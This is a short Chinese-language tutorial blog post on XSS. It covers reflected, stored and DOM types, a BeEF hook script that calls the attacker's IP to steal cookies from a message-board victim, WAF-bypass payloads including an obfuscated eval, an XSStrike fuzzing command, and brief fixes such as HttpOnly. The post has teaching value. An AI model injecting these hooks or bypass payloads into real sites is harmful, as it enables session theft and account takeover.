XSS 漏洞

一、XSS 简介

跨站脚本攻击XSS,为了不和层叠样式表(css)的缩写混淆,故将跨站脚本攻击缩写为 XSS,
恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入Web 里面的Script 代码会被执行,从而达到恶意攻击用户的目的。

二、反射型与存储型XSS

xss 攻击可分为三类:反射型、存储型、dom 型,很容易混淆的。

(1)反射性

恶意用户向网站发送包含恶意脚本代码的请求,然后网站将这些恶意代码反射回给用户,并在用户的浏览器中执行这些代码,导致恶意用户能够执行各种攻击,如窃取用户的敏感数据,劫持用户会话等。

在留言框输入下列代码。

<script>alret(1)</script>

当代码无法在留言板中完全输入时,直接在地址栏中搜索

(2)存储型

 攻击数据存储在服务器,攻击一直持续下去,危害比反射大

攻击方式与反射性类似。

(3)dom型

攻击者通过在受害者网页中注入恶意脚本,来实现对页面的控制。

DOM 型与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端。

(4)Beef

Beef-XSS是一款功能强大的 「XSS 漏洞利用工具」,kali 自带,基于Ruby 语言开发。

1、输入下列代码:

beef-xss

2、beef会给出Hook: <script src="http://192.168.0.8:3000/hook.js"></script>代码

注:IP 为自己kali IP,即攻击方

3、在本地留言板中粘贴代码即可,其中拦截cookie获取cookie值,从而登录后台

三、XSS 的绕过与修复

(1)标签语法替换

使用其他标签来替换,不同 WAF 过滤的手段并不一样,需要自己尝试。

audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
button 标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
加密算法
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >

XSStrike工具

GitHub - s0md3v/XSStrike: Most advanced XSS scanner.

C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u"http://localhost/1.php?x=1" --fuzzer

fuzz

https://github.com/tennc/fuzzdb/

修复

httponly

在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie信息,这样能有效的防止 XSS 攻击,但是并不能防止 xss 漏洞只能是防止cookie被盗

WAF

输入、输出验证

  • 11
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值